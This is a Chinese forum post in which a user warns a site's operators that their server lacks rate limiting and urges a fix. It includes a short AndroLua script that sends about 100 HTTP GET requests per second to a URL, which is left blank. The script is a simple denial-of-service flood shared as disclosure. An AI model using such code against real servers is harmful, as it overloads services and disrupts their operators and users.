10 闲云清风 2天前 242次点击
原因。
试水的时候发现,各大云服务商提供的服务器都是可以防御中大部分的流量。就比如限制一个每1秒访问一次之类的东西。这样可以规避一大半的快速访问攻击。我们这里没有加这个反爬曲。或者是反多流量攻击。只要用下面这样简单的代码就能对这个进行批量的访问。再好的服务器也扛不住。把这个修复了。不然这边的服务器卡,就不好玩了。
下面的代码只是手机上的。直接用解说把脚本粘贴上去都能执行。更何况电脑和网络环境好的地方。那你这个访问还不是更快。下面的代码基本上可以执行到一刻钟1000次访问。因为有可能会请求失败。
还有。建议扩展敏感词库。
require "import"
import "com.androlua.Ticker"
ti=Ticker()
ti.Period=100--100毫秒执行一次下面的代码。下面的代码对一个网站进行10次访问。也就是1秒访问100次。
ti.onTick=function()
local 链接=""
Http.get(链接,cookie,charset,header,function(code,content)
end)
Http.get(链接,cookie,charset,header,function(code,content)
end)
Http.get(链接,cookie,charset,header,function(code,content)
end)
Http.get(链接,cookie,charset,header,function(code,content)
end)
Http.get(链接,cookie,charset,header,function(code,content)
end)
Http.get(链接,cookie,charset,header,function(code,content)
end)
Http.get(链接,cookie,charset,header,function(code,content)
end)
Http.get(链接,cookie,charset,header,function(code,content)
end)
Http.get(链接,cookie,charset,header,function(code,content)
end)
Http.get(链接,cookie,charset,header,function(code,content)
end)
end
ti.start()--启动定时访问。
那以后有问题了,那是你弄的了,哈哈哈
好家伙。
哦,原来你想攻击这服务器呀,要不然,你咋会说这话